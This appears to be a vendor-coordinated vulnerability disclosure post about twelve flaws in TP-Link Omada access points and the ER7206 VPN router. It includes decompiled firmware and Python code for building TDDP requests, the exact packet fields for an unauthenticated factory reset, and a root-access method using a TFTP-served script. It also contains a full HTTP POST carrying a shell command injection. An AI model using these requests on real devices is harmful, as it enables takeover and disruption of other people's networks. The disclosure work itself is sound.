- The TP-Link Omada system is a software-defined networking solution for small to medium-sized businesses. It touts cloud-managed devices and local management for all Omada devices.
- The supported devices in this ecosystem vary greatly but include wireless access points, routers, switches, VPN devices and hardware controllers for the Omada software.
- Cisco Talos researchers have discovered and helped to patch several vulnerabilities in the Omada system, focusing on a small subset of the available devices, including the EAP 115 and EAP 225 wireless access points, the ER7206 gigabit VPN router, and the Omada software controller.
- Twelve unique vulnerabilities were identified and reported to the vendor following our responsible disclosure policy.
Talos ID | CVE(s) |
CVE-2023-49906-CVE-2023-49913 | |
CVE-2023-48724 | |
CVE-2023-49133-CVE-2023-49134 | |
CVE-2023-49074 | |
CVE-2023-47618 | |
CVE-2023-47617 | |
CVE-2023-46683 | |
CVE-2023-42664 | |
CVE-2023-47167 | |
CVE-2023-47209 | |
CVE-2023-36498 | |
CVE-2023-43482 |
TALOS-2023-1888
A stack-based buffer overflow vulnerability exists in the web interface Radio Scheduling functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of HTTP requests can lead to remote code execution.
TALOS-2023-1864
A memory corruption vulnerability exists in the web interface functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted HTTP POST request can lead to denial of service of the device's web interface.
TALOS-2023-1862
A command execution vulnerability exists in the tddpd enable_test_mode functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926 and TP-Link N300 Wireless Access Point (EAP115 V4) v5.0.4, build 20220216. A specially crafted series of network requests can lead to arbitrary command execution. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.
TALOS-2023-1861
A denial-of-service vulnerability exists in the TDDP functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of network requests could allow an adversary to reset the device back to its factory settings. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.
TALOS-2023-1859
A post-authentication command execution vulnerability exists in the web filtering functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.
TALOS-2023-1858
A post-authentication command injection vulnerability exists when configuring the web group member of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection
TALOS-2023-1857
A post-authentication command injection vulnerability exists when configuring the WireGuard VPN functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1856
A post-authentication command injection vulnerability exists when setting up the PPTP global configuration of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1855
A post-authentication command injection vulnerability exists in the GRE policy functionality of TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1854
A post-authentication command injection vulnerability exists in the IPsec policy functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1853
A post-authentication command injection vulnerability exists in the PPTP client functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection, and allow an adversary to gain access to an unrestricted shell.
TALOS-2023-1850
A command execution vulnerability exists in the guest resource functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.
TDDP on wireless access points
TDDP is the TP-Link Device Debug Protocol available on many TP-Link devices. This service running on UDP 1040 is only open during the first 15 minutes of a device’s runtime. This is effectively a mechanism to enable users to have a device serviced remotely without having to activate and deactivate a service manually. This service is exposed any time the device restarts for exactly 15 minutes. During this time, various functions on the device are exposed, which are listed later in this post. Most of this functionality seems to be directly related to factory testing.
Building a request
TDDP request messages consist of a header of size 0x1C followed by a data field only used by select commands. This header generally follows the format laid out in the structure below:
struct tddp_header {
uint8_t version,
uint8_t type,
uint8_t code,
uint8_t direction,
uint32_t pay_len,
uint16_t pkt_id,
uint8_t sub_type,
uint8_t reserved,
uint8_t[0x10] digest,
}
Version
Only two versions of the TDDP service currently appear to be implemented on the target devices: 0x01 and 0x02. Of these, version 0x02 is the only one that contains any functionality of note.
00407778 int32_t tddpPktInterfaceFunction(int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg4)
...
00407878 if (arg1 != 0 && arg1 != 0)
0040791c memset(0x42f780, 0, 0x14000)
0040797c uint32_t $tddp_version = zx.d(*arg1)
00407994 int32_t len
00407994 if ($tddp_version == 1)
00407b1c len = tddp_versionOneOpt(arg1, 0x42f780)
...
004079a8 if ($tddp_version == 2)
004079bc if (arg4 s< 0x1c)
004079e0 len_1 = printf("[TDDP_ERROR]<error>[%s:%d] inval…", "tddpPktInterfaceFunction", 0x292)
00407a18 else
00407a18 inet_ntop(2, &arg_8, &var_24, 0x10)
00407a38 if (g_some_string_copying_routine(&var_24) == 0)
00407af4 len = tddp_versionTwoOpt(ggg_tppd_req_buf_p: arg1, &data_42f780, arg4)
00407a48 else
...
00407d04 return len_1
In our target devices, only one request within version 0x01 was supported: tddp_sysInit
. This request seemed to have little effect on the running device.
0040849c int32_t tddp_versionOneOpt(void* arg1, int32_t arg2)
…
004084b8 int32_t var_14 = 0
004084bc int32_t var_18 = 0
004084d8 int32_t var_10
004084d8 if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
004084fc printf("[TDDP_ERROR]<error>[%s:%d] Invla…", "tddp_versionOneOpt", 0x35f)
0040850c var_10 = 0xffffffff
004084d8 if (arg1 != 0 && arg2 != 0)
00408548 if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
0040856c printf("[TDDP_ERROR]<error>[%s:%d] pTddp…", "tddp_versionOneOpt", 0x367)
0040857c var_10 = 0xffffffff
00408548 if (arg1 != 0 && arg2 != 0)
0040859c memcpy(arg2, arg1, 0xc)
004085c0 if (zx.d(*(arg1 + 1)) != 0xc)
00408698 printf("[TDDP_ERROR]<error>[%s:%d] Recei…", "tddp_versionOneOpt", 0x3cf)
004086a8 var_10 = 0xffffffff
004085e4 else
004085e4 printf("[TDDP_DEBUG]<debug>[%s:%d] Recei…", "tddp_versionOneOpt", 0x370)
00408600 tddp_sysInit(arg1, arg2)
0040863c uint32_t $v1_3 = zx.d(printf("[TDDP_DEBUG]<debug>[%s:%d] Send …", "tddp_versionOneOpt", 0x372))
00408670 var_10 = ntohl(*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_3))) + 0xc
004086b8 return var_10
Version 0x02, on the other hand, supports a variety of requests, documented later in this post.
004086c0 int32_t tddp_versionTwoOpt(int32_t arg1, void* arg2, int32_t arg3)
...
00408868 memset(arg1, 0, 0x14000)
00408888 memcpy(arg1, arg2, 0x1c)
0040889c uint32_t $v0_11 = zx.d(*(arg1 + 1))
004088b4 if ($v0_11 == 3)
004088f4 printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x407)
00408910 specialCmdOpt(arg2, arg1)
00408938 printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x409)
004088c8 if ($v0_11 == 7)
0040895c puts("TDDP: enc_cmd. \r")
00408978 encCmdOpt(arg2, arg1)
00408994 puts("TDDP: enc_cmd over. \r")
...
004088c8 if ($v0_11 != 3 && $v0_11 != 7)
004089c4 printf("[TDDP_ERROR]<error>[%s:%d] Reciv…", "tddp_versionTwoOpt", 0x413)
004089d4 var_c = 0xffffffff
00408a04 return var_c
When either of these type
values are selected, a corresponding sub_type
value (documented below) must be supplied.
Payload length
The pay_len
Subtype field contains the number of bytes that make up the payload. This value is calculated after all necessary padding has been applied, but before the payload is encrypted.
Subtype
The sub_type
in use depends on the type
value is previously chosen. Sub_type
breakouts for each supported type
s are listed later in this post. These mappings are specific to the targeted devices and may change from device to device.
The way sub_type
s are processed differently between the two major type
requests. SPECIAL_CMD_OPT
requests the sub_type
value in this field. ENC_CMD_OPT
requests ignore the sub_type
field and instead expect the sub_type
value to be supplied in the payload at byte offset 0x0A (offset 0x26 into the entire request).
00408a0c int32_t encCmdOpt(void* arg1, int32_t arg2)
...
00408b54 uint32_t $v0_12 = zx.d(*(arg1 + 0x26))
00408b6c if ($v0_12 == 0x47)
00408d58 printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x457)
00408d88 uint32_t $v1_11 = zx.d(tddp_getSoftVer(arg1 + 0x1c, arg2))
00408dc8 *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_11))) + 0xc)
00408dec $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x45a)
00408bb0 else
00408bb0 if ($v0_12 == 0x48)
00408e1c printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x45e)
00408e4c uint32_t $v1_14 = zx.d(tddp_getModelName(arg1 + 0x1c, arg2))
00408e8c *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_14))) + 0xc)
00408eb0 $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x461)
00408bc4 if ($v0_12 == 0x49)
00408bdc puts("TDDP: resetting. \r")
00408c0c uint32_t $v1_5 = zx.d(tddp_resetFactory(arg1 + 0x1c, arg2))
00408c4c *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_5))) + 0xc)
00408c64 $v0_2 = puts("TDDP: reset over. \r")
00408b94 if ($v0_12 == 0x46)
00408c94 printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x450)
00408cc4 uint32_t $v1_8 = zx.d(tddp_getHardVer(arg1 + 0x1c, arg2))
00408d04 *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_8))) + 0xc)
00408d28 $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x453)
00408bc4 if (($v0_12 s< 0x48 && $v0_12 != 0x46) || ($v0_12 s>= 0x48 && $v0_12 != 0x48 && $v0_12 != 0x49))
00408ed4 $v0_2 = puts("TDDP: Recive unknow enc_cmd, no …")
00408ee8 return $v0_2
Digest
Every TDDP request must contain an MD5 digest of the entire request, including the payload after it has been padded but before it has been encrypted. When calculating this value, the digest
field must be filled with 0x10 null bytes. For example:
digest_req = b''
digest_req += struct.pack('B', self.version)
digest_req += struct.pack('B', self.type)
digest_req += struct.pack('B', self.code)
digest_req += struct.pack('B', self.direction)
digest_req += struct.pack('>L', self.pkt_len)
digest_req += struct.pack('>H', self.pkt_id)
digest_req += struct.pack('B', self.sub_type)
digest_req += struct.pack('B', self.reserved)
digest_req += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
digest_req += self.payload
digest = hashlib.md5(digest_req).digest()
Payload
For some requests to successfully execute, a payload is required. Regardless of the contents of the payload, it must first be padded with null bytes to an eight-byte boundary. Once padded, the payload must then be DES encrypted. For example:
base_key = ''
base_key += self.username
base_key += self.password
tddp_key = hashlib.md5(base_key.encode()).digest()[:8]
key = des(tddp_key, ECB)
tddp_data = key.encrypt(self.payload, padmode=PAD_PKCS5)
Unaddressed fields
A few more request fields that have not been explicitly called out here exist: code
, direction
, reserved
, and pkt_id
. These fields are necessary for a successful request but have values that have stayed static across our testing.
Vulnerability impact
Factory reset device (TALOS-2023-1861)
While enabled during startup, TDDP can be used to factory reset the device through a single ENC_CMD_OPT
request, passing a subtype code of 0x49 via the payload field.
This type of request deviates from the typical usage of the payload field in that it does not get DES encrypted before being sent. Instead, it supplies the subtype code by placing it within the payload field at offset 0x0A while leaving every other byte null.
When properly formatted, this results in a payload field with the following contents:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00
Combining this payload field with the remaining required fields gives a request with the following elements:
version | 0x02 |
type | 0x07 |
code | 0x01 |
direction | 0x00 |
pay_len | 0x10 |
pkt_id | 0x01 |
sub_type | <ignored> |
reserved | 0x00 |
digest | <dynamic> |
payload | 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 |
When a request is properly constructed and sent to a TP-Link EAP115 or EAP225 with the TDDP service listening, the device resets its configuration to the factory default and begins acting abnormally until the next power cycle when the default configuration takes full effect.
Gain root access (TALOS-2023-1862)
TDDP can also be used to indirectly obtain root access on certain devices through one of the exposed TDDP commands, enableTestMode. The exact purpose of this command is unclear, but when this test mode is enabled, the device sends a TFTP request to a predefined address (192.168.0.100) looking for a file named "test_mode_tp.sh," which is subsequently executed. This sequence can be seen in the code snippet below:
int32_t api_wlan_enableTestMode() {
struct stat buf;
memset(&buf, 0, 0x98);
int32_t i;
do {
i = execFormatCmd("arping -I %s -c 1 192.168.0.100", "br0") // [1] Check for the existence of a system at 192.168.0.100
} while (i == 1);
execFormatCmd("tftp -g 192.168.0.100 -r test_mode_tp.sh -l /tmp/test_mode_tp.sh"); // [2] TFTP Get a file named `test_mode_tp.sh` from 192.168.0.100
stat("/tmp/test_mode_tp.sh", &buf);
int32_t result = 1;
if (buf.st_size s> 0) { // [3] If the file was successfully fetched...
execFormatCmd("chmod +x /tmp/test_mode_tp.sh"); // [4] Mark the file as executable
execFormatCmd("/tmp/test_mode_tp.sh &"); // [5] and finally execute the shell script with root permissions
result = 0;
}
return result;
}
By assigning a host the address 192.168.0.100 and setting up a TFTP server serving the test_mode_tp.sh
script on that host, the device can be forced to execute any command as the root user immediately after the enableTestMode TDDP request is sent.
Command injection vulnerabilities in VPN router
The cgi-bin functionality of the ER7206 Gigabit VPN Router is backed completely by compiled LUA scripts. Because these scripts don’t have a standard compilation format for Lua, reverse engineering can be difficult. For exact decompilation, the version of the original compiler is necessary. This complicates the analysis, but studying even the compiled code provided hints about implementation details and further guided our manual testing. A common vulnerability class that plagues similar software is command injection due to unsanitized input. We have exhaustively tested input fields in the user interface and have uncovered eight distinct command injection vulnerabilities, most in the user interface related to configuring VPN technologies (PPTP, GRE, Wireguard, IPSec). The presence of these was verified by testing for side effects of successful abuse of each vulnerability. While all identified vulnerabilities in this group require authentication before exploitation — which lowers their severity — they can be abused to acquire unrestricted shell access. This expands an attacker’s possible attack paths and can further aid in achieving persistence on the device.
Exploitation of a command injection vulnerability is straightforward. In the following example, the `name` field in JSON data is the target of command injection. No input filtering occurs while handling the data in this POST request, any shell metacharacters that are included in the POST body can be used to execute arbitrary commands within the authenticated context:
POST /cgi-bin/luci/;stok=b53d9dc12fe8aa66f4fdc273e6eaa534/admin/freeStrategy?form=strategy_list HTTP/1.1
Host: 192.168.8.100
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: sysauth=8701fa9dc1908978bc804e7d08931706
Content-Length: 470
data={"method":"add","params":{"index":0,"old":"add","new":{"name":"DDDDL|`/usr/bin/id>/tmp/had`","strategy_type":"five_tuple","src_ipset":"/","dst_ipset":"/","mac":"","sport":"-","dport":"-","service_type":"TCP","zone":"LAN1","comment":"","enable":"on"},"key":"add"}}
SPECIAL_CMD_OPT (0x03)
Command Name | `sub_type` value |
SYS_INIT | 0x0C |
GET_MAC_ADDR_1 | 0x37 |
GET_MAC_ADDR_2 | 0x40 |
GET_MAC_ADDR_3 | 0x66 |
SET_MAC_ADDR | 0x06 |
GET_REGION_1 | 0x20 |
GET_REGION_2 | 0x42 |
SET_REGION_1 | 0x1F |
SET_REGION_2 | 0x43 |
GET_UPLINK_PORT_RATE | 0x7A |
GET_DEVICE_ID_1 | 0x35 |
GET_DEVICE_ID_2 | 0x65 |
SET_DEVICE_ID_1 | 0x36 |
SET_DEVICE_ID_2 | 0x64 |
GET_OEM_ID | 0x3B |
GET_PRODUCT_ID | 0x0A |
GET_HARDWARE_ID | 0x39 |
GET_SIGNATURE | 0x05 |
SET_SIGNATURE | 0x0B |
ENABLE_TEST_MODE_1 | 0x4B |
ENABLE_TEST_MODE_2 | 0x4F |
CANCEL_TEST_MODE | 0x07 |
START_WLAN_CAL_APP | 0x12 |
ERASE_WLAN_CAL_DATA_1 | 0x11 |
ERASE_WLAN_CAL_DATA_2 | 0x63 |
DISABLE_PRE_CAC | 0x5A |
DISABLE_DFS | 0x5B |
DISABLE_TXBF | 0x79 |
SET_POE_OUT | 0x50 |
TEST_GPIO | 0x32 |
NO_WLAN_INIT | 0x7D |
SET_BANDWIDTH | 0x4C |
SET_CHANNEL | 0x4D |
ENC_CMD_OPT (0x07)
Command Name | `sub_type` value |
GET_HARDWARE_VERSION | 0x46 |
GET_SOFTWARE_VERSION | 0x47 |
GET_MODEL_NAME | 0x48 |
PERFORM_FACTORY_RESET | 0x49 |